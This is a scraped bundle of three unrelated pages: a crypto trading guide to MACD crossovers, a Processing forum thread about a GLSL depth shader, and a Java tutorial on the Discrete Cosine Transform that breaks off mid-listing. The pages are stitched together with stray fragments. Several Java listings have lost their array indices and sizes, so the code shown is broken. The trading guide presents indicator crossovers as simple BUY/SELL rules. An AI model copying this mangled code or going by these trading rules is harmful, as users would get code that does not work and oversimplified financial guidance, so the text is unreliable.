"## What is a Moving Average?\n\nMoving averages are used in technical analysis as it smoothens out past prices and defines its current direction. The 2 most commonly used moving averages are as follows:\n\n1. Simple Moving Average: A simple average is calculated by calculating the average price of a cryptocurrency over a specific time period. Therefore, a 7-day simple moving average is the sum of a cryptocurrency’s prices over a span of 7 days and divide it by 7.\n2. Exponential Moving Average (EMA): EMA is similar to a simple average but emphasizes more on the latest data. More weight is given to the latest price data is it is more relevant and indicative of the current market trend. MACD uses exponential moving averages.\n\n## Components of MACD\n\nThere are 3 main components of the MACD that you should know:",
null,
"1. MACD Line (Blue): The MACD line is a combination of 2 EMA; it is the difference between the 26-day and 12-day exponential moving average of closing prices. It is important to note that 26-days and 12-days are the default numbers for MACD; you can change the number around if you feel confident in using and interpreting different time intervals.\n2. Signal Line(Orange): A 9-day EMA, called the “signal” (or “trigger”) line is plotted on top of the MACD to show buy/sell opportunities.\n3. Histogram: The difference between the MACD Line and Signal Line with the passage of time\n\n## How To Trade Using MACD\n\nAs its name suggests, MACD is used to explore the points where the MACD line and signal line converges or diverges.",
null,
"In order to simplify your understanding of how MACD works, we shall focus mainly on the MACD line (blue line) applied in two main scenarios. Here are the two scenarios where you can interpret this indicator to your advantage:\n\n## 1. Center/Zero Line Crossover\n\n• When MACD line crosses above the Zero Line = BUY\n• When it crosses below the Zero Line = SELL",
null,
"This is the simplest scenario out of the two. Note that in this example, we shall momentarily ignore the signal line (orange line). We shall only focus on the MACD line and the centre/zero-line.\n\nPositive Signal\n\nThe MACD line would often oscillate between the centre line, which is fixated at point 0 (black line). A general rule of thumb is that if the MACD line is above the centre line, it is a positive signal. This occurs when the 12-day EMA is higher than the 26-day EMA (since the MACD line is made up of the difference between the 26-day and 12-day EMA). In the example above, the green highlighted area is when the MACD line is above the centre line, and you can generally see that prices would tend to move upwards.\n\nThe reason why it’s a positive signal when the 12-day EMA is higher than the 26-day EMA (and therefore, above the zero-line) is because recent prices (in the last 12 days) shows a greater upward momentum as compared to the 26-day average, and since EMA takes higher weightage of more recent prices, it will mean that prices would tend to move higher than before!\n\nNegative Signal\n\nWhen the MACD line is below the centre/zero-line, it means that it is a negative signal. From the example above, we can see that when the MACD drops below the centre line – as highlighted in red – prices tend to move further downwards. This is a sign of bad times.\n\nThe reason why it’s a negative signal is that the 12-day EMA is lower than the 26-day EMA (and therefore, below the zero-line). This indicates that recent prices (in the last 12 days) shows a greater downward momentum as compared to the 26-day average, and since EMA takes higher weightage of more recent prices, it will mean that prices would tend to move lower than before! Ouch.\n\n## 2. Signal Line Crossover\n\n• When MACD line crosses above the Signal Line = BUY\n• When it crosses below the Signal Line = SELL",
null,
"In this scenario, the signal line (in orange) comes into play and is very relevant.\n\nBullish Crossover\n\nA bullish crossover is a positive signal which occurs when the MACD line (in blue) crosses over the signal line in an upward fashion. This means that the MACD line is higher than the signal line. We can see from the above example that on November 15 (highlighted in gree), there was a bullish crossover that led to the strong rally upwards, and prices were soaring high.\n\nBearish Crossover\n\nA bearish crossover is a negative signal which occurs when the MACD line (in blue) crosses below the signal line. This means that the MACD line is lower than the signal line. From the example, we can see that there were 2 bearish crossovers (highlighted in red) that led to prices crashing down.\n\n*For the purpose of illustration, the charts used in this guide uses daily (1-day) candlesticks. It is up to you to choose which time interval (daily, weekly, monthly or even hourly or minute candlesticks) is suitable for you!\n\nTradingview is perhaps one of the best free charting platforms that you can use for performing technical analysis. However, each user can only use a maximum of 3 technical indicators if you’re using a free account. You can start adding technical indicators to your chart through following these steps:\n\n### Step 1: Click on the ‘Indicator Button’",
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"Step 2: Search for ‘MACD’ & Select the Indicator",
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"",
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"#### Aziz\n\nFounder of Master the Crypto\n\n## More To Explore",
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"Press Release\n\n### Bitdeal Provides Defi Services to Revamp the Traditional Finance System\n\nBitdeal, the Prominent Blockchain and Cryptocurrency Exchange Development Company provides enormous services such as Cryptocurrency Exchange Development, Wallet Development, Bitcoin Escrow, Blockchain Development, MLM Development,",
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https://forum.processing.org/two/discussion/22859/how-do-i-get-depth-data | [
"#### Howdy, Stranger!\n\nWe are about to switch to a new forum software. Until then we have removed the registration on this forum.\n\n# How do I get depth data ?\n\nedited June 2017\n\nI am to try out depth of field and I am first trying to get depth data with GLSL. I am able to generate DEPTH map but there are some glitches I don't understand why?",
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"",
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"above images shows a long box and it just shows hollow from front face.\n\nthis is processing code\n\n``````PShader depth;\nPGraphics pg;\nvoid setup()\n{\nsize(600,600,P3D);\npg= createGraphics(600,600,P3D);\ndepth.set(\"far\",100.0);\n}\n\nfloat t=0;\n\nvoid draw()\n{\nt+=0.001;\npg.hint(ENABLE_DEPTH_TEST);\npg.beginDraw();\npg.noStroke();\npg.background(0);\npg.translate(width/2+50,height/2,0);\npg.rotateY(2*PI-PI*t/7);\npg.box(20,20,1000);\n// pg.translate(-200,-100,0);\npg.box(40,40,100);\npg.endDraw();\nimage(pg,0,0);\n}\n``````\n\n``````#ifdef GL_ES\nprecision mediump float;\nprecision mediump int;\n#endif\n\nvarying vec4 vertColor;\nvarying vec3 vertNormal;\nvarying vec3 vertLightDir;\nvarying float dist;\n\nvoid main() {\ngl_FragColor = vec4(vec3(1.0,1.0,1.0)*1/clamp(dist,0,1000), 1.0 );\n}\n``````\n\n``````uniform mat4 transform;\nuniform mat3 normalMatrix;\nuniform vec3 lightNormal;\n\nattribute vec4 position;\nattribute vec4 color;\nattribute vec3 normal;\n\nuniform vec3 cameraPosition;\nuniform float far;\n\nvarying vec4 vertColor;\nvarying vec3 vertNormal;\nvarying vec3 vertLightDir;\nvarying float dist;\n\nvoid main() {\nvertNormal = normal;\ndist = (distance(cameraPosition,position.xyz)/far);\ngl_Position = transform *position;\n}\n``````\n\nwhat could be the issue? well I am just new to GLSL so please sorry for any simple mistake. Also if there is any simple way to do nice DoF let me know.\n\nTagged:\n\n• to format the code, highlight it and press ctrl-o\n\n• Hey sorry that was the first time. Also I don't think I need to use this pg.hint(ENABLE_DEPTH_TEST);\n\n• https://github.com/edumo/P5PostProcessing here is the code Last week I made it work but did not save it I wounder how it worked then. but it did not gave any good result for blur part. burling was not good.\n\n• edited June 2017\n\n@trailbalzer47 Yes Camera is pointing -Z towards the viewer\n\nto fix the above scetch you need to add as third parameter the negative camera direction\n\n`pg.translate(width/2+50,height/2,0, -100)`\n\nor fix it in the shader.\n\nno backfaceculling per default\n\nhttps://forum.processing.org/one/topic/how-to-enable-backface-culling-in-opengl-to-speed-3d-model-fps.html\n\nHere you did it right: https://github.com/edumo/P5PostProcessing/blob/master/Dof/Dof.pde#L77\n\n``````//quick fix\n//no time to write any notes\nPGraphics pg;\n\nvoid setup(){\nsize(600,600,P3D);\npg= createGraphics(600,600,P3D);\ndepth.set(\"far\",100.0);\n}\nfloat t=0;\n\nfloat z = 100;\n\nvoid draw(){\nt+=0.001;\npg.hint(ENABLE_DEPTH_TEST);\npg.beginDraw();\npg.noStroke();\npg.background(0);\n\n//flip sign +/- translate.z 100\nif(frameCount%60==0) z*=-1.;\n\n//processing.org/reference/PShape_translate_.html\npg.translate(width/2+50,height/2,z);\n\npg.rotateY(2*PI-PI*t/7);\npg.box(20,20,1000);\n// pg.translate(-200,-100,0);\npg.box(40,40,100);\npg.endDraw();\nimage(pg,0,0);\n}\n``````\n• I understood it was my mistake simple explanation is that box was too big in Z direction and thus camera went inside the box as it rotated so after reducing size of box the problem is solved its nothing to do with the shader is the camera position intersecting the shape. and thanks to @nabr and @koogs\n\n• edited June 2017 Answer ✓\n\nAh, yes,\nthe second box is set to 1000, it looks like their is a face missing, i thought, it has something to do with backfaceculling .\n\n#### Great!\n\n``````PShader depth;\nPGraphics pg;\nvoid setup(){\nsize(600,600,P3D);\npg= createGraphics(600,600,P3D);\ndepth.set(\"far\",100.0);\n}\nfloat t=0;\nvoid draw(){\nt+=0.001;\npg.hint(ENABLE_DEPTH_TEST);\npg.beginDraw();\npg.noStroke();\npg.background(0);\npg.translate(width/2+50,height/2,0);\npg.rotateY(2*PI-PI*t/PI);\n\n//changed\npg.box(20,20,936.09999);\n\npg.box(40,40,100);\n\npg.endDraw();\nimage(pg,0,0);\n}\n``````"
]
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"https://forum.processing.org/two/discussion/22859/![]()",
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"https://forum.processing.org/two/uploads/imageupload/688/TQI7G3YQVH5V.png",
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https://www.developer.com/java/understanding-the-discrete-cosine-transform-in-java/ | [
"JavaData & JavaUnderstanding the Discrete Cosine Transform in Java\n\n# Understanding the Discrete Cosine Transform in Java\n\nJava Programming Notes # 2444\n\n## Preface\n\nThis lesson is one in a series designed to teach you about the inner\nworkings of data and image compression. The first lesson in the series was\nUnderstanding\nthe Lempel-Ziv Data Compression Algorithm in Java\n. The previous lesson\nwas Understanding the Huffman Data Compression\nAlgorithm in Java\n.\n\nJPEG image compression\n\nOne of the objectives of the series is to teach you about the inner workings\nof JPEG image compression. According to\nWikipedia,\n\n\"… JPEG (pronounced jay-peg) is a commonly used standard\nmethod of\n\nlossy compression\nfor photographic images. … The name stands for\nJoint Photographic Experts Group\n. JPEG itself specifies only how an\nimage is transformed into a stream of\nbytes, but not\nhow those bytes are encapsulated in any particular storage medium. A further\nstandard, created by the Independent JPEG Group, called JFIF\n(JPEG File Interchange Format) specifies how to produce a file suitable for\ncomputer storage and transmission (such as over the\nInternet)\nfrom a JPEG stream. … JPEG/JFIF is the most common format used for storing\nand transmitting photographs on the\n\nWorld Wide Web\n.\"\n\nEntropy encoding\n\nWithout getting into the technical details at this point, let me tell you\nthat one of the central components of JPEG compression is\nentropy encoding. Huffman encoding,\nwhich was the primary topic of the\nprevious lesson\nis a common form of entropy encoding.\n\nThe Discrete Cosine Transform\n\nAnother central component of JPEG compression is the\n\nDiscrete Cosine Transform\n, which is the primary topic of this lesson. Again,\naccording to\nWikipedia\n,\n\n\"The discrete cosine transform (DCT) is a\n\nFourier-related transform\nsimilar to the\n\ndiscrete Fourier transform\n(DFT), but using only\nreal\nnumbers\n. It is equivalent to a DFT of roughly twice the length,\noperating on real data with\n\neven\nsymmetry …\"\n\nIn order to understand JPEG …\n\nIn order to understand JPEG image compression, you must understand Huffman\nencoding, the Discrete Cosine Transform, and some other topics as well, such as\nspectral re-quantization. I\nplan to teach you about the different components of JPEG in separate\nlessons, and then to teach you how they work together to produce \"the\nmost common format\nused for storing and transmitting photographs on the\nWorld Wide Web\n\"\n\nViewing tip\n\nYou may find it useful to open another copy of this lesson in a\nseparate browser window. That will make it easier for you to\nscroll back\nand forth among the different listings and figures while you are\n\nSupplementary material\n\nI recommend that you also study the other lessons in my extensive\ncollection of online Java tutorials. You will find those lessons\npublished\nat Gamelan.com\nHowever, as of the date of this writing, Gamelan doesn’t maintain a\nconsolidated index of my Java tutorial lessons, and sometimes they are\ndifficult to locate there. You will find a consolidated index at www.DickBaldwin.com.\n\nIn preparation for understanding the material in this lesson, I also\nrecommend that you also study the lessons referred to in the\nReferences section.\n\n## General Background Information\n\nAlthough the Discrete Cosine Transform (DCT) may be\n\"similar to the\ndiscrete Fourier transform\"\n, it is not a Discrete Fourier Transform\n(DFT)\nas described in my earlier lesson entitled\nFun with Java,\nHow and Why Spectral Analysis Works\n. There are some major differences\nbetween DFT and DCT. Nonetheless, the DCT is very interesting from a technical\nviewpoint and is a central component of JPEG image compression.\n\nThe DFT and symmetrical real data\n\nTo get started, I’m going to show you the results of applying the DFT to\nsymmetrical real data. In the earlier lesson entitled\nSpectrum\nAnalysis using Java, Forward and Inverse Transforms, Filtering in the Frequency\nDomain\n, I introduced you to a program named Dsp035, which:\n\n\"… illustrates the reversible nature of the Fourier transform. This\nprogram transforms a real time series into a complex spectrum, and then\nreproduces the real time series by performing an inverse Fourier transform\non the complex spectrum. This is accomplished using a DFT algorithm.\"\n\nThe program named Dsp043",
null,
"The first graph at the top of Figure 1 shows a 300-sample symmetrical time\nseries. Note that this time series is symmetrical about its center point.\n\nThe spectral results\n\nThe DFT was applied to this time series. The next three graphs going\ndown the page in Figure 1 show the\nspectral results of applying the DFT to the time series. The three\nspectral graphs are plotted from a\nfrequency of zero to the sampling frequency.\n\n(Recall that the\n\nNyquist folding frequency\noccurs half way between zero and the sampling\nfrequency, and that the spectrum shown above the folding frequency is the\nmirror image of the spectrum below the folding frequency. Therefore,\nwe are usually interested only in the spectral results below the folding\nfrequency. Therefore, you can ignore the right half of the spectral graphs.)\n\nWhat do the five graphs show?\n\nThe five graphs in Figure 1 show (in order from top to bottom):\n\n1. The 300-sample symmetrical real time series to which the DFT was applied.\n2. The real part of the output from the DFT.\n3. The imaginary part of the output from the DFT.\n4. The magnitude of the output from the DFT.\n5. The result of applying an inverse DFT to the spectral data in order to\nreconstruct the original time series from the spectral data.\n\nThe important points\n\nThe most important points illustrated by Figure 1 are:\n\n• The time series is purely real.\n• The time series is symmetrical about its center point.\n• The imaginary part of the spectrum has all zero values.\n\nTherefore, Figure 1 demonstrates that the imaginary part of the Fourier\ntransform of a real symmetrical time series is all zeros if the origin is\nproperly located\n. This is important because I will use that fact to develop the rationale for\nthe Discrete Cosine Transform, and why it works the way that it does.\n\nEquations for the DFT\n\nReferring back to the equations in my\n\nearlier lesson\n, you can see that the real part of the output from the DFT\nresults from a sum of products involving a cosine term, and that the imaginary part\nof the output results from a sum of products involving a sine term.\n\nCan sometimes avoid the sine computation\n\nWhen\ncomputing the DFT, if we already know that the input time series is symmetrical\nand that the imaginary part of the output will be zero, we can simply forego the\ncomputation of the imaginary part that involves the sine term, thereby reducing\nthe computational requirements.\n\nCan make the cosine computation less burdensome\n\nIn addition, if we know that the input time series is symmetrical, we can\nreformulate the computation of the real part of the transform involving the cosine\nterm wherein we perform the computation on one-half of the time series only and\nthen double the result. Thus for a symmetrical time series having a length\nof 2N+1 samples, we can reduce the number of real-part computations to N+1.\n\nHow does the DCT work?\n\nBasically the DCT works by implicitly doubling the length of the input time series by\nconcatenating it to a mirror image of itself. The concatenation of the\noriginal time series to the mirror image results in a symmetrical time series.\n\n(You don’t actually see the doubling of the time series. Rather,\nthe doubling is implicit in the formulation of the equations for the DCT.)\n\nBecause the new time series is symmetrical, it is known in advance that if we were to perform a DFT on the new\ndouble-length time series, the imaginary part would be zero. Thus, it is\nalso known in advance that we can forego the computation of the imaginary part\nthat uses the sine term in the DFT.\n\nNo need to double the number of cosine computations\n\nIn addition, because the new double-length time series is symmetrical, we\ndon’t need to double the number of real-part computations involving the cosine\nterm (but we will have to reformulate the real-part computation relative to a\nstraight DFT computation)\n.\n\nThe definition of the DCT\n\nThe\ndefinition of the DCT is very similar to the definition of the DFT but the\ncomputation of the imaginary part using the sine term simply isn’t part of the\ndefinition.\n\nIn addition to eliminating the computation of the imaginary part, the\ndefinition of the DCT also reformulates the DFT to take advantage of the\nsymmetry of the time series relative to the computation of the real part using\nthe cosine term.\n\nLet’s see some equations\n\nRather than to deal with the somewhat difficult task of producing equations\nin this HTML document, I have provided three separate references\nthat contain the equations for the DCT. The equations in these three\nreferences are essentially the same (to within a scale factor).\n\nI elected to formulate my DCT program for this lesson using the\none-dimensional form of the DCT equations that you will find at\n\nNational Taiwan University – DSP Group – Discrete Cosine Transform\n.\n\n(The next lesson in this series will deal with the two-dimensional\nformulation of the DCT.)\n\nNo sine term\n\nIf you examine those equations, you will find that there is no sine term in\neither the forward or the inverse DCT. Only the cosine term is\nincluded, and it is included in such a way as to take advantage of the symmetry\nof the double-length time series.\n\n(While you are at the site mentioned\n\nabove\n, also note that the author provides an\nexplanation of the doubling of the length of the time series in order to\nproduce a new symmetrical time series for which the Fourier Transform is\nguaranteed to have a zero imaginary part.)\n\nThe forward Discrete Cosine Transform (DCT)\ncode",
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"The three graphs in Figure 3 show:\n\n1. A 256-sample input time series consisting of the same three waveforms\nshown in Figure 2(As with Figure 2, even though\nthe display is 300 points wide, the actual data being plotted on each of the\nthree graphs ends at 256 samples.)\n2. The real frequency spectrum produced by the forward DCT.\nIn this case, the spectrum is plotted from a frequency of zero on the left\nto the\n\nNyquist folding frequency\non the right.\n3. The result of applying the inverse DCT to the spectral data in order to\nreconstruct the original time series from the spectral data.\n\nWhere is the imaginary part of the spectrum?\n\nThere is no imaginary part of the spectrum plotted in Figure 3, simply\nbecause the DCT doesn’t produce an imaginary part. Since there is no\nimaginary part, there is also no need for a plot of the magnitude spectrum for\nthe DCT. (It would look exactly like the real part of the spectrum,\nwith all negative values converted to positive values, if\nit were computed and plotted.)\n\nIf you compare Figure 3 with\nFigure 2\n, you will see that the DFT and the DCT both appeared to do an\nequally good job of\nreproducing the original time series when the inverse transform was applied to the spectral\ndata. The big difference between Figure 2 and\nFigure 3 is that this was accomplished with the somewhat\nmore economical DCT in Figure 3.\n\nWater to ice and back to water\n\nThere is one point that I would like to make here, because it will become\nvery important in a future lesson that deals with the inner workings of JPEG.\nThe second and third graphs in Figure 2 represent the\nsame information as the first graph in Figure 2\nSimilarly, the second graph in Figure 3 represents the\nsame information as the first graph in Figure 3\nIn other words, the spectral data represents the same information as the\ntime-series data. They simply represent that information in different\nforms.\n\nAs an analogy, if we lower the temperature of a container of water to less than 32 degrees\nFahrenheit, the form of the water will change from a liquid to a solid. If we warm\nit back up, the form will change back to a liquid. This is roughly\nanalogous to transforming a time series into the frequency domain and then\ntransforming the frequency spectrum back into the time domain. The same\ninformation is represented in both cases. That information is simply\nrepresented in different forms.\n\nSub-dividing the input\n\nWhen performing spectral analysis, it is common practice to perform a DFT\n(or perhaps a DCT)\non the entire time series as was the case in\nFigure 1,\nFigure 2, and\nFigure 3. However, in a future lesson we will\nlearn that this is not the case for JPEG image compression. Instead, the\nJPEG procedure sub-divides the image into a set of small images where each small\nimage consists of an 8×8 block of 64 pixels.\n\nThen the DCT is performed on\neach individual block of 64 pixels. Several additional processing steps are performed\non the spectra produced for the set of 8×8 blocks to produce the compressed\nimage. Later on, when the\nimage is reconstructed, the 8×8 blocks are individually reconstructed and are\nthen assembled into a larger image that approximates the original image.\n\nThe program named Dsp044\n\nThe program named Dsp044 is designed to\ninvestigate the impact of sub-dividing the time series into eight-sample\nsegments and processing those segments individually in order to be more consistent with the 8×8-pixel block concept in JPEG.\nAs it turns out, there appears to be no noticeable impact. As you can see\nin Figure 4, the reconstructed output shown in the second\ngraph is a very good replica of the input shown in the first graph.\n\n `",
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"` `Figure 4`\n\n(Figure 4 shows only the input and output time series. In order\nto display the spectral results, it would have been necessary to display 32\nindividual spectra, one computed for each 8-sample segment of the input time\nseries. That would have been fairly impractical.)\n\nTesting\n\nBoth programs were tested using J2SE 5.0 under WinXP. (Both programs\nrequire J2SE 5.0 or later due to the use of\nstatic import of Math class.)\n\n## Discussion and Sample Code\n\nThe program named Dsp042\n\nThe class\ndefinition for Dsp042 begins in Listing 1 by declaring\nand initializing some instance variables.\n\n ```class Dsp042 implements GraphIntfc01{ int len = 256; double[] timeDataIn = new double[len]; double[] realSpect = new double[len]; double[] timeDataOut = new double[len]; int zero = 0;Listing 1```\n\nNote that the class named Dsp042 implements the interface named GraphIntfc01.\n\nThe constructor for Dsp042\n\nThe constructor begins in Listing 2.\n\n ``` public Dsp042(){//constructor //Create the raw data pulses timeDataIn = 0; timeDataIn = 50; //code deleted for brevity timeDataIn = -2; timeDataIn = -1; timeDataIn = 80; timeDataIn = 80; //code deleted for brevity timeDataIn = -80; timeDataIn = -80;Listing 2```\n\nThe code in Listing 2 creates the first and last waveforms shown in the first\ngraph in Figure 3. Note that I deleted quite a lot\nof code from Listing 2 for brevity. You can view the code that I deleted\nin Listing 14.\n\nCreate the sinusoidal waveform\n\nListing 3 creates the truncated sinusoidal waveform shown near the center of\nthe first graph\nin Figure 3.\n\n ``` for(int x = len/3;x < 3*len/4;x++){ timeDataIn[x] = 80.0 * Math.sin(2*PI*(x)*1.0/20.0); }//end for loopListing 3```\n\nPerform the forward Discrete Cosine Transform\n\nListing 4 invokes the static transform method of the ForwardDCT01\nclass to compute the forward DCT of the time data and to save the results in the\narray referred to by realSpect, which was created\nin Listing 1.\n\n ` ForwardDCT01.transform(timeDataIn,realSpect);Listing 4`\n\nPerform the inverse Discrete Cosine Transform\n\nListing 5 invokes the static transform method of the InverseDCT01\nclass to compute the inverse DCT of the spectral data and to save the results in\nthe array referred to by timeDataOut, which was created\nin\nListing 1.\n\n ``` InverseDCT01.transform(realSpect,timeDataOut); }//end constructorListing 5```\n\nListing 5 also signals the end of the constructor for the class named\nDsp042\n.\n\nThe remaining code\n\nThe remaining code in the class named Dsp042 consists of six methods,\nwhich are required by the interface named GraphIntfc01. The purpose\nof these methods is simply to plot the data contained in three arrays, producing the\nthree graphs shown in Figure 3. I explained those\nsix methods in the earlier lesson entitled\n\nPlotting Engineering and Scientific Data using Java\nand won’t repeat that\nexplanation here. You can view the methods in\nListing 14\n\nThe class named Dsp044\n\nThis class is a modification of the class named Dsp042 designed to investigate the impact of\nsub-dividing the input time series into eight-sample segments in order to be consistent with the 8×8 blocks in JPEG.\n\nListing 6 shows the beginning of the class and the beginning of the\nconstructor.\n\n ```class Dsp044 implements GraphIntfc01{ int len = 256; double[] timeDataIn = new double[len]; double[] timeDataOut = new double[len]; int zero = 0; public Dsp044(){//constructor //Create the raw data pulses timeDataIn = 0; timeDataIn = 50; //code deleted for brevity timeDataIn = -2; timeDataIn = -1; timeDataIn = 80; timeDataIn = 80; //code deleted for brevity timeDataIn = -80; timeDataIn = -80; //Create raw data sinusoid for(int x = len/3;x < 3*len/4;x++){ timeDataIn[x] = 80.0 * Math.sin(2*PI*(x)*1.0/20.0); }//end for loopListing 6```\n\nOnce again, note that the class named Dsp044 implements the interface\nnamed GraphIntfc01.\n\nAs before, I deleted some of the code from Listing 6 for brevity. The\ncode in Listing 6 is very similar to the code that I explained earlier with\nrespect to the class named Dsp042.\n\nEight-element array objects\n\nThe real difference between Dsp042 and Dsp044 begins in Listing 7 where I\ncreate some eight-element array objects to handle the eight-sample\nsegments.\n\n ``` double[] workingArrayIn = new double; double[] workingArrayOut = new double; double[] realSpect = new double; Listing 7```\n\nProcess eight samples at a time\n\nListing 8 shows the beginning of a while loop, which computes a forward\nand an inverse DCT on each successive eight-sample segment of the input time\nseries. Code inside\nthe while loop also concatenates the output segments from the inverse DCT\nto produce the output signal, which is shown by the bottom graph\nin\nFigure\n4\n.\n\n ``` int segmentCnt = 0; while((segmentCnt + 8) <= len){ System.arraycopy(timeDataIn, segmentCnt, workingArrayIn, 0, 8);Listing 8```\n\nDuring each iteration of the while loop, the code in Listing 8 copies the\nnext eight samples from the input time series into an eight-element working\narray.\n\nCompute the forward and the inverse transforms\n\nListing 9 performs a forward DCT on the contents of the eight-element working\narray. Then it performs an inverse DCT on the eight-samples of spectral\ndata produced by the forward transform.\n\n ``` ForwardDCT01.transform(workingArrayIn,realSpect); InverseDCT01.transform(realSpect,workingArrayOut);Listing 9```\n\nConcatenate the output time-series segments\n\nListing 10 copies the eight samples of output time-series data produced by\nthe inverse transform into the next eight samples of the array designated to\nhold the final output. This concatenates the eight-sample segments into\nthe time series shown in the bottom graph in Figure 4.\n\n ``` System.arraycopy(workingArrayOut, 0, timeDataOut, segmentCnt, 8); segmentCnt += 8; }//end while }//end constructorListing 10```\n\nThen Listing 10 increments the segment counter by 8 and control is transferred\nback to the top of the while loop shown in Listing 8.\n\nListing 10 also signals the end of the constructor.\n\nThe remaining code\n\nAs before, the remaining code in the class named Dsp044 consists of six methods, which are required by the interface named GraphIntfc01. The\npurpose of these methods is to plot the data contained in two arrays, producing\nthe graphs shown in Figure 4. You can view the\nmethods in Listing 15\n\n## Run the Programs\n\nI encourage you to copy, compile, and execute the code from the listings in\nthe section entitled Complete Program\nListings\n. Experiment with the code, making\nchanges and observing the results of your changes. For example, as one\nexperiment you can see what\nhappens if you make changes to the computed argument for the cosine function in\neither the forward or the inverse transform.\n\nRun under control of Graph03\n\nDsp042, Dsp043, and Dsp044 must all be run under the control of the program named\nGraph03.\n\n(The program named Graph03 is a plotting program. See the\nearlier lesson entitled\nSpectrum\nAnalysis using Java, Sampling Frequency, Folding Frequency, and the FFT\nAlgorithm\n, which was the first lesson in which the plotting program\nnamed Graph03 was used. Also see Graph01, which was a predecessor of\nGraph03, in the lesson\nentitled\nPlotting Engineering and Scientific Data using Java.)\n\nThe\nsource code for Graph03 is provided in Listing 16.\n\nThe source code\nfor the interface named GraphIntfc01, which is required by these\nprograms,\nis provided in Listing 17.\n\nRunning the programs\n\nTo run these programs, first compile the programs and then enter one of the following statements at the command prompt.\n\n```java Graph03 Dsp042\njava Graph03 Dsp042\njava Graph03 Dsp044```\n\nSupport classes\n\nYou will need some support classes in order to run these programs. In\nthose cases where the source code for a required support class is not included in this lesson, you should be\nable to find the source code in the lessons referred to in the\nReferences section.\n\nYou can also find the source code by searching for it on\nfor the following keywords on Google will identify the earlier lesson entitled\nSpectrum Analysis\nusing Java, Sampling Frequency, Folding Frequency, and the FFT Algorithm\n\ncontaining the source code for the class named ForwardRealToComplex01.\n\n`java Baldwin \"ForwardRealToComplex01.java\"`\n\n## Summary\n\nI introduced you to the basics of the Discrete Cosine\nTransform (DCT) by:\n\n• Explaining some of the underlying theory behind the transform.\n• Demonstrating the use of the transform in two one-dimensional cases.\n\n## What’s Next?\n\nThe next lesson will explain the use of the two-dimensional Discrete Cosine\nTransform and will illustrate its use to transform images into the wave-number\ndomain and back into the space or image domain.\n\nFuture lessons in this series will explain the inner workings behind several\ndata and image compression schemes, including the following:\n\n• Run-length data encoding\n• GIF image compression\n• JPEG image compression\n\n## References\n\nGeneral\n\n2440 Understanding the Lempel-Ziv Data Compression Algorithm in Java\n2442 Understanding the Huffman Data Compression Algorithm in Java\n1468\nPlotting Engineering and Scientific Data using Java\n1478 Fun\nwith Java, How and Why Spectral Analysis Works\n1482\nSpectrum Analysis using Java, Sampling Frequency, Folding Frequency, and the FFT\nAlgorithm\n1483\nSpectrum Analysis using Java, Frequency Resolution versus Data Length\n1484\nSpectrum Analysis using Java, Complex Spectrum and Phase Angle\n1485\nSpectrum Analysis using Java, Forward and Inverse Transforms, Filtering in the\nFrequency Domain\n1486 Fun\nwith Java, Understanding the Fast Fourier Transform (FFT) Algorithm\n1489\nPlotting 3D Surfaces using Java\n1490 2D\nFourier Transforms using Java\n1491 2D\nFourier Transforms using Java, Part 2\n\nDiscrete Cosine Transform equations\n\nDiscrete\ncosine transform\n– Wikipedia, the free encyclopedia\nThe Data Analysis Briefbook –\nDiscrete Cosine\nTransform\n\nNational Taiwan University\nDSP Group\n\nDiscrete Cosine Transform\n\n## Complete Program Listings\n\nComplete listings of the programs discussed in this lesson are provided in the\nfollowing listings:\n\nListing 11\n\n ```/* File Dsp043.java Copyright 2006, R.G.Baldwin Revised 01/05/06 The purpose of this program is to demonstrate that the imaginary part of the Fourier transform of a symmetrical time series is all zeros if the origin is properly located. Illustrates forward and inverse Fourier transforms on a symmetrical time series using DFT algorithms. Passes resulting real and complex parts to inverse Fourier transform program to reconstruct the original time series. Run with Graph03. Enter the following to run the program: java Graph03 Dsp043 Exection of this program requires access to the following class files: Dsp043.class ForwardRealToComplex01.class Graph01.class GraphIntfc01.class GUI\\$MyCanvas.class GUI.class InverseComplexToReal01.class Tested using J2SE 5.0 under WinXP. **********************************************************/ import java.util.*; class Dsp043 implements GraphIntfc01{ final double pi = Math.PI; int len = 300; double[] timeDataIn = new double[len]; double[] realSpect = new double[len]; double[] imagSpect = new double[len]; double[] angle = new double[len];//unused double[] magnitude = new double[len]; double[] timeDataOut = new double[len]; int zero = 0; public Dsp043(){//constructor //Create raw waveform consisting of mirror image // sinusoidal segments with a sample having a value // of 0 in the center. //Set shift to a nonzero value to cause the imaginary // part of the transform to be non zero. for(int x = 0;x < len/4;x++){ timeDataIn[len/2 + x + 1] = 80.0 * Math.sin(2*pi*(x)*1.0/20.0); timeDataIn[len/2 - x - 1] = timeDataIn[len/2 + x + 1]; }//end for loop //Compute DFT of the time data and save it in // the output arrays. ForwardRealToComplex01.transform(timeDataIn, realSpect, imagSpect, angle, magnitude, zero, 0.0, 1.0); //Compute inverse DFT of the spectal data and // save output time data in output array InverseComplexToReal01.inverseTransform(realSpect, imagSpect, timeDataOut); }//end constructor //-----------------------------------------------------// //The following six methods are required by the interface // named GraphIntfc01. public int getNmbr(){ //Return number of curves to plot. Must not exceed 5. return 5; }//end getNmbr //-----------------------------------------------------// public double f1(double x){ int index = (int)Math.round(x); if(index < 0 || index > timeDataIn.length-1){ return 0; }else{ return timeDataIn[index]; }//end else }//end function //-----------------------------------------------------// public double f2(double x){ int index = (int)Math.round(x); if(index < 0 || index > realSpect.length-1){ return 0; }else{ //scale for convenient viewing return 5*realSpect[index]; }//end else }//end function //-----------------------------------------------------// public double f3(double x){ int index = (int)Math.round(x); if(index < 0 || index > imagSpect.length-1){ return 0; }else{ //scale for convenient viewing return 5*imagSpect[index]; }//end else }//end function //-----------------------------------------------------// public double f4(double x){ int index = (int)Math.round(x); if(index < 0 || index > magnitude.length-1){ return 0; }else{ //scale for convenient viewing return 5*magnitude[index]; }//end else }//end function //-----------------------------------------------------// public double f5(double x){ int index = (int)Math.round(x); if(index < 0 || index > timeDataOut.length-1){ return 0; }else{ return timeDataOut[index]; }//end else }//end function }//end sample class Dsp043Listing 11```\n\nListing 12\n\n ```/*File ForwardDCT01.java Copyright 2006, R.G.Baldwin Rev 01/03/06 The static method named transform performs a forward Discreet Cosine Transform (DCT) on an incoming time series and returns the DCT spectrum. See http://en.wikipedia.org/wiki/Discrete_cosine_transform #DCT-II and http://rkb.home.cern.ch/rkb/AN16pp/node61.html for background on the DCT. This formulation is from http://www.cmlab.csie.ntu.edu.tw/cml/dsp/training/ coding/transform/dct.html Incoming parameters are: double[] x - incoming real data double[] y - outgoing real data Tested using J2SE 5.0 under WinXP. Requires J2SE 5.0 or later due to the use of static import of Math class. **********************************************************/ import static java.lang.Math.*; public class 